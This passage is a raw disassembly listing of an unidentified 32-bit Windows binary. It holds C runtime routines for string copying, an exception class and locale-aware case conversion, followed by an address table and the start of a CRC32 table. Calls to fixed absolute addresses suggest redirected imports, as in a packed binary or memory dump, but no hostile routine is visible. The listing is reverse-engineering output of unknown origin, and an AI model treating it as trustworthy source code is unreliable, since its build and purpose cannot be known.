		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26602EFh
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2710000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600559h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600559h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 2850000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2610000h
		nop
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0B22h, 2600000h, 260052Ch, 2600559h
		dd 2610000h, 2610741h, 2610CD1h, 2620000h, 26208C5h, 2620B34h
dword_427030	dd 2620B49h		; DATA XREF: ___:004239E2r
		dd 2620BE7h, 2620E24h, 2620E46h, 2630000h, 2640000h, 2650000h
		dd 2660000h, 26602EFh, 26608BBh, 26608C7h, 2670000h, 26707DEh
dword_427064	dd 2670BC8h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2670D6Dh		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2680000h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2680369h, 2690000h, 26A0000h
dword_427080	dd 26A0428h		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 26A048Eh		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 26A06B3h
dword_42708C	dd 26A078Ch		; DATA XREF: sub_419C09+B9r
		dd 26A0E6Ah
dword_427094	dd 26A0E98h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26B0000h		; DATA XREF: ___:loc_4013DCr
		dd 26B0382h, 26B04AAh
dword_4270A4	dd 26B05ACh		; DATA XREF: sub_409909+2r
		dd 26B06FEh, 26B077Ch
dword_4270B0	dd 26B0E28h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26B0E72h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26C0000h, 26C0C5Dh
dword_4270C0	dd 26D0000h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26D0414h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26E0000h, 26F0000h, 26F057Eh, 2700000h, 77F7E300h, 77F7E21Fh
		dd 270048Dh, 270068Ch
dword_4270E8	dd 2710000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2720000h		; DATA XREF: sub_4119F9+Br
		dd 2730000h, 2730825h
dword_4270F8	dd 2740000h		; DATA XREF: sub_4187E0+36r
		dd 274026Bh, 274037Fh
dword_427104	dd 27408FDh		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2750000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 27515ACh, 2760000h, 27609F5h, 2770000h, 2770699h, 2780000h
		dd 2790000h, 27A0000h, 27A0C33h, 27B0000h, 27B0107h, 27B026Ah
		dd 27B0507h, 27C0000h, 27C07E1h
dword_427148	dd 27D0000h		; DATA XREF: sub_4172C1+BCr
		dd 27D05FFh
dword_427150	dd 27E0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27E0CDEh		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27E0D43h
dword_42715C	dd 27F0000h		; DATA XREF: sub_41761C+56r
		dd 27F0256h, 2800000h, 2810000h, 281055Ah, 2810AB8h, 2810E46h
		dd 2820000h, 2820819h, 2830000h, 2840000h
dword_427188	dd 2850000h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2850A92h, 2860000h, 286052Ah, 2860819h, 2870000h, 2880000h
		dd 2882065h, 2890000h, 2891C6Fh, 2891CABh, 28A0000h, 28B0000h
		dd 28B01F2h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
